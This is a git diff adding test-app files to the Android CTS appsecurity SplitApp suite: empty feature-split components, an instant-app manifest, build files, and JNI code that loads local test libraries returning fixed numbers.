diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
new file mode 100644
index 0000000..ca59ebc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+public class FeatureService extends IntentService {
+    public FeatureService() {
+        super("Feature1Service");
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        // Ignored
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
new file mode 100644
index 0000000..3cd3110
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class WarmThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyActivity.java
new file mode 100644
index 0000000..f6f2b7c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.feature.warm;
+
+import android.app.Activity;
+
+public class EmptyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyProvider.java
new file mode 100644
index 0000000..2905a1c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.feature.warm;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class EmptyProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyService.java
new file mode 100644
index 0000000..87f4f8b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyService.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.feature.warm;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class EmptyService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/instantapp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/instantapp/AndroidManifest.xml
new file mode 100644
index 0000000..aff6672
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/instantapp/AndroidManifest.xml
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- This manifest is to create the apk of CtsSplitInstantApp for the tests of the splitName of
+     component such as Service and Provider. They are only supported in the instant app. In the full
+     app, declares a provider which is not defined in the apk would crash the application while
+     application is launching. A specific apk for these tests is needed.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
+
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
+
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <activity android:name=".MyActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".feature.warm.EmptyActivity" android:splitName="feature_warm"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".MyReceiver"
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+
+        <provider android:name=".RemoteQueryProvider"
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
+        </provider>
+        <!-- Provider defined in the split of feature_warm. -->
+        <provider android:name=".feature.warm.EmptyProvider" android:splitName="feature_warm"
+                  android:authorities="com.android.cts.splitapp.feature.warm"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+            </intent-filter>
+        </provider>
+
+        <!-- Service defined in the split of feature_warm. -->
+        <service android:name=".feature.warm.EmptyService" android:splitName="feature_warm"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+            </intent-filter>
+        </service>
+
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp
new file mode 100644
index 0000000..8a60617
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp
@@ -0,0 +1,128 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_defaults {
+    name: "split_native_defaults",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    target: {
+        android_arm: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"armeabi-v7a\"",
+            ],
+        },
+        android_arm64: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"arm64-v8a\"",
+            ],
+        },
+        android_x86: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"x86\"",
+            ],
+        },
+        android_x86_64: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"x86_64\"",
+            ],
+        },
+    },
+    sdk_version: "current",
+}
+
+cc_defaults {
+    name: "split_number_provider_defaults",
+    defaults: ["split_native_defaults"],
+    srcs: ["number_providers.cpp"],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_provider_a",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO=1",
+    ],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_provider_b",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO=1",
+    ],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_proxy",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROXY_SO=1",
+    ],
+}
+
+
+TARGET_TEST_SUITES = [
+    "cts",
+    "general-tests",
+]
+
+/**
+  * Non-isolated split feature
+  */
+java_defaults {
+    name: "CtsSplitTestHelperApp_defaults",
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--replace-version",
+        "--version-code 100",
+    ],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+java_defaults {
+    name: "CtsSplitTestHelperApp_number_provider_defaults",
+    defaults: ["CtsSplitTestHelperApp_defaults"],
+    compile_multilib: "both",
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_provider_a",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_provider_b",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_proxy",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    test_suites: TARGET_TEST_SUITES,
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index daa8a8f..46894ce 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -14,17 +14,42 @@
 # limitations under the License.
 #
 
+# Caution: This file is used by NDK to generate all platform library files.
+#          Please don't change this file to Android.bp.
 LOCAL_PATH := $(call my-dir)
 
+# Default cflags
+MY_CFLAGS :=  -Wall -Werror -Wno-unused-parameter -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\"
+
+# If the TARGET_ARCH_ABI is 32bit, it adds __LIVE_ONLY_32BIT__ in MY_CFLAGS.
+ABIS_FOR_32BIT_ONLY := armeabi-v7a armeabi x86 mips
+ifneq ($(filter $(TARGET_ARCH_ABI),$(ABIS_FOR_32BIT_ONLY)),)
+MY_CFLAGS += -D__LIVE_ONLY_32BIT__=1
+endif
+
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := libsplitappjni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_SRC_FILES := com_android_cts_splitapp_Native.cpp
 
 LOCAL_LDLIBS += -llog
 
+LOCAL_CFLAGS := $(MY_CFLAGS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libsplitappjni_revision
+LOCAL_SRC_FILES := com_android_cts_splitapp_Native.cpp
+
+LOCAL_LDLIBS += -llog
+
+LOCAL_CFLAGS := $(MY_CFLAGS) -D__REVISION_HAVE_SUB__=1
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml
new file mode 100644
index 0000000..1c6f2f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_provider_a">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml
new file mode 100644
index 0000000..ee9baf5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_provider_b">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml
new file mode 100644
index 0000000..9d5c84e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_proxy">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
index 01302f5..0329395 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
@@ -18,12 +18,61 @@
 
 #include <android/log.h>
 #include <stdio.h>
+#include <dlfcn.h>
 
 #include "jni.h"
 
 #define  LOGE(...)  __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__)
 
+typedef int (*pFuncGetNumber)();
+
+static jint get_number_from_other_library(
+        const char* library_file_name, const char* function_name) {
+    void *handle;
+    char *error;
+    handle = dlopen (library_file_name, RTLD_LAZY);
+    if (!handle) {
+        LOGE("Can't load %s: %s\n", library_file_name, dlerror());
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber) dlsym(handle, function_name);
+    if ((error = dlerror()) != NULL)  {
+        LOGE("Can't load function %s: %s\n", function_name, error);
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+static jint get_number_a_via_proxy(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_a");
+}
+
+static jint get_number_b_via_proxy(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_b");
+}
+
+static jint get_number_a_from_provider(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_a.so", "get_number");
+}
+
+static jint get_number_b_from_provider(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_b.so", "get_number");
+}
+
+#ifdef __LIVE_ONLY_32BIT__
+#define ABI_BITNESS 32
+#else // __LIVE_ONLY_32BIT__
+#define ABI_BITNESS 64
+#endif // __LIVE_ONLY_32BIT__
+
+static jint get_abi_bitness(JNIEnv* env, jobject thiz) {
+    return ABI_BITNESS;
+}
 
 static jint add(JNIEnv *env, jobject thiz, jint a, jint b) {
     int result = a + b;
@@ -35,11 +84,28 @@
     return env->NewStringUTF(__ANDROID_ARCH__);
 }
 
+static jint sub(JNIEnv* env, jobject thiz, jint a, jint b) {
+#ifdef __REVISION_HAVE_SUB__
+    int result = a - b;
+    LOGI("%d - %d = %d", a, b, result);
+    return result;
+#else  // __REVISION_HAVE_SUB__
+    LOGI("Implement sub badly, just return 0");
+    return 0;
+#endif // __REVISION_HAVE_SUB__
+}
+
 static const char *classPathName = "com/android/cts/splitapp/Native";
 
 static JNINativeMethod methods[] = {
-    {"add", "(II)I", (void*)add },
-    {"arch", "()Ljava/lang/String;", (void*)arch },
+        {"getAbiBitness", "()I", (void*)get_abi_bitness},
+        {"add", "(II)I", (void*)add},
+        {"arch", "()Ljava/lang/String;", (void*)arch},
+        {"sub", "(II)I", (void*)sub},
+        {"getNumberAViaProxy", "()I", (void*) get_number_a_via_proxy},
+        {"getNumberBViaProxy", "()I", (void*) get_number_b_via_proxy},
+        {"getNumberADirectly", "()I", (void*) get_number_a_from_provider},
+        {"getNumberBDirectly", "()I", (void*) get_number_b_from_provider},
 };
 
 static int registerNativeMethods(JNIEnv* env, const char* className, JNINativeMethod* gMethods, int numMethods) {
@@ -77,7 +143,11 @@
     jint result = -1;
     JNIEnv* env = NULL;
 
-    LOGI("JNI_OnLoad");
+#ifdef __REVISION_HAVE_SUB__
+    LOGI("JNI_OnLoad revision %d bits", ABI_BITNESS);
+#else  // __REVISION_HAVE_SUB__
+    LOGI("JNI_OnLoad %d bits", ABI_BITNESS);
+#endif // __REVISION_HAVE_SUB__
 
     if (vm->GetEnv(&uenv.venv, JNI_VERSION_1_4) != JNI_OK) {
         LOGE("ERROR: GetEnv failed");
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp
new file mode 100644
index 0000000..ff19355
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * The content of libsplitapp_number_provider_proxy.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROXY_SO
+#include <dlfcn.h>
+
+const char* kFunctionName = "get_number";
+
+typedef int (*pFuncGetNumber)();
+
+int get_number(const char* libraryFileName) {
+    void *handle;
+    char *error;
+    handle = dlopen (libraryFileName, RTLD_LAZY);
+    if (!handle) {
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber) dlsym(handle, kFunctionName);
+    if ((error = dlerror()) != NULL)  {
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+int get_number_a() {
+    return get_number("libsplitapp_number_provider_a.so");
+}
+
+int get_number_b() {
+    return get_number("libsplitapp_number_provider_b.so");
+}
+
+#endif // ANDROID_SPLIT_APP_NUMBER_PROXY_SO
+
+/**
+ * The content of libsplitapp_number_provider_a.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO
+int get_number() {
+    return 7;
+}
+#endif // ANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO
+
+
+/**
+ * The content of libsplitapp_number_provider_b.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO
+int get_number() {
+    return 11;
+}
+#endif // ANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
index ba2da56..206d517 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
@@ -12,4 +12,6 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 include $(call all-subdir-makefiles)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 8eede6c..c8bc895 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
